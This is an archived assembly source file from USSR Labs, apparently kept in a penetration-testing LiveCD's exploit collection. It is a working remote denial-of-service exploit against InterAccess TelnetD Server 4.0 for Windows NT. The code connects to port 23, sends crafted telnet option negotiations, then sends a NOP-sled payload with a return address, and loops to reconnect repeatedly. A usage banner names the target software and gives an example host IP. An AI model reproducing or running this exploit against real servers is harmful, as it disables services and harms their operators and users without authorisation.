Chip 2007 January, February, March & April

home *** CD-ROM | disk | FTP | other *** search

/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / telnet / dostelnetdWin.zip.txt / MY.ASM < prev next >

Wrap

Assembly Source File | 2000-02-24 | 8.6 KB | 411 lines

; **************************************************************************** ; * Redistribution and use in source and binary forms, with or without ; * modification, are permitted provided that the following conditions ; * are met: ; * 1. Redistributions of source code must retain the above copyright ; * notice, this list of conditions and the following disclaimer. ; * 2. Redistributions in binary form must reproduce the above copyright ; * notice, this list of conditions and the following disclaimer in the ; * documentation and/or other materials provided with the distribution. ; * ; * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND ; * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ; * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ; * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE ; * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ; * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS ; * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) ; * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT ; * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY ; * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF ; * SUCH DAMAGE. ; * ; * www.ussrback.com ; * Source by: USSR Labs ; *************************************************************************** .386p locals jumps .model flat, stdcall extrn GetCommandLineA:PROC extrn GetStdHandle:PROC extrn WriteConsoleA:PROC extrn ExitProcess:PROC extrn WSAStartup:PROC extrn connect:PROC extrn send:PROC extrn recv:PROC extrn WSACleanup:PROC extrn htons:PROC extrn socket:PROC extrn inet_addr:PROC extrn closesocket:PROC Extrn GetModuleHandleA : PROC Extrn GetProcAddress : PROC Extrn lstrlenA : PROC Extrn Sleep : PROC .data telnetInit01 db 0ffh,0fbh,018h telnetInit02 db 0ffh,0fbh,020h telnetInit03 db 0ffh,0fbh,023h telnetInit04 db 0ffh,0fbh,024h telnetInit05 db 0ffh,0fah,018h,01,076h,074h,031h,030h,030h,0ffh,0f0h ;telnetInit05 db 0ffh,0fah,011h,00,011h,011h,011h,011h,011h,011h,011h telnetInit05_length equ $-telnetInit05 telnetInit06 db 0ffh,0fdh,03h telnetInit07 db 0ffh,0fbh,01h telnetInit08 db 0ffh,0fch,1fh telnetInit09 db 0ffh,0feh,05h telnetInit10 db 0ffh,0fch,21h telnetInit11 db 0ffh,0fch,01h telnetInit12 db 0ffh,0fdh,01h sploit_code label byte DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,235,254,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 DB 144,144,144,144,144,144,144,144,144,144,144,144,144,144,144,144 hola dd 0012f659h sploit_code_length equ $-sploit_code Copy db "InterAccess TelnetD Server 4.0 for Windows NT Remote D.O.S *ALL BUILDS*", 13, 10 db "by: U.s.s.R",13,10 db "for source code or binary go to: http://www.ussrback.com/",13,10,13,10 db "Usage: dietelnd HostIp", 13, 10 db "Example: dietelnd 216.141.76.14",13,10,0 Copyl equ $-Copy contador dd 0 marquita dd 0 wsadescription_len equ 256 wsasys_status_len equ 128 hProv dd 0 WSAdata struct wVersion dw ? wHighVersion dw ? szDescription db wsadescription_len+1 dup (?) szSystemStatus db wsasys_status_len+1 dup (?) iMaxSockets dw ? iMaxUdpDg dw ? lpVendorInfo dw ? WSAdata ends lpde_ThreadId dd 0 sockaddr_in struct sin_family dw ? sin_port dw ? sin_addr dd ? sin_zero db 8 dup (0) sockaddr_in ends contadorthread dd 0 wsadata WSAdata sin sockaddr_in sock dd ? numbase dd 10 hostParamether db 256 dup (?) buffer dd 1000 dup (0) buffer2 dd 1000 dup (0) i_cant_connect db 'fatal: sorry i can',27h,'t connect to this host!',13,10 i_cant_connectl equ $-i_cant_connect SendingExploit db 'ok!: Sending D.O.S To Host..',13,10 SendingExploitl equ $-SendingExploit include code.inc cchWritten dd 0 ConHandle dd 0 .code start: xor eax,eax xor ebx,ebx xor edx,edx xor ecx,ecx xor esi,esi xor edi,edi xor ebp,ebp Push -11 Call GetStdHandle Mov [ConHandle],EAX call GetCommandLineA mov edi, eax mov ecx, -1 xor al, al push edi repnz scasb not ecx pop edi mov al, 20h repnz scasb dec ecx mov esi, edi cmp byte ptr [esi],0 je no_command_line cmp byte ptr [esi],20h je incrementa1 continue: lea edi, hostParamether rep movsb fuckyou: push offset wsadata push 0101h call WSAStartup xor eax, eax push eax inc eax push eax inc eax push eax call socket mov ebx,eax mov sock, eax mov sin.sin_family, 2 mov eax,23d ; port push eax call htons mov sin.sin_port, ax push offset hostParamether call inet_addr mov sin.sin_addr, eax push size sin push offset sin push ebx call connect or eax, eax je connectionworking Write_Console <offset i_cant_connect > <i_cant_connectl > jmp fuckyou incrementa1: inc si jmp continue connectionworking: pusha xor eax,eax mov edi, offset buffer mov ecx,1000 rep stosb popa xor eax, eax push eax push 1000 push offset buffer push sock call recv xor eax, eax push eax push 3 push offset telnetInit01 push ebx call send push 100 call Sleep xor eax, eax push eax push 3 push offset telnetInit02 push ebx call send push 100 call Sleep xor eax, eax push eax push 3 push offset telnetInit03 push ebx call send push 100 call Sleep xor eax, eax push eax push 3 push offset telnetInit04 push ebx call send push 100 call Sleep pusha xor eax,eax mov edi, offset buffer mov ecx,1000 rep stosb popa xor eax, eax push eax push 1000 push offset buffer push sock call recv push 100 call Sleep xor eax, eax push eax push telnetInit05_length push offset telnetInit05 push ebx call send push 100 call Sleep xor eax, eax push eax push 03h push offset telnetInit06 push ebx call send push 100 call Sleep xor eax, eax push eax push 03h push offset telnetInit07 push ebx call send push 100 call Sleep xor eax, eax push eax push 03h push offset telnetInit08 push ebx call send push 100 call Sleep xor eax, eax push eax push 03h push offset telnetInit09 push ebx call send push 100 call Sleep xor eax, eax push eax push 03h push offset telnetInit10 push ebx call send push 100 call Sleep pusha xor eax,eax mov edi, offset buffer mov ecx,1000 rep stosb popa Write_Console <offset SendingExploit > <SendingExploitl > push sock call closesocket call WSACleanup jmp fuckyou xor eax, eax push eax push 1000 push offset buffer push sock call recv push offset buffer+8 call lstrlenA Write_Console <offset buffer+8 > <eax > push 100 call Sleep xor eax, eax push eax push 03h push offset telnetInit11 push ebx call send push 100 call Sleep xor eax, eax push eax push 03h push offset telnetInit12 push ebx call send Write_Console <offset SendingExploit > <SendingExploitl > xor eax,eax mov edi, offset buffer mov ecx,1000 rep stosb push 100 call Sleep xor eax, eax push eax push sploit_code_length push offset sploit_code push ebx call send pusha xor eax,eax mov edi, offset buffer mov ecx,1000 rep stosb popa xor eax, eax push eax push 1000 push offset buffer push sock call recv push sock call closesocket call WSACleanup final_exit: push 0 call ExitProcess no_command_line: Write_Console <offset Copy > <Copyl > jmp final_exit end start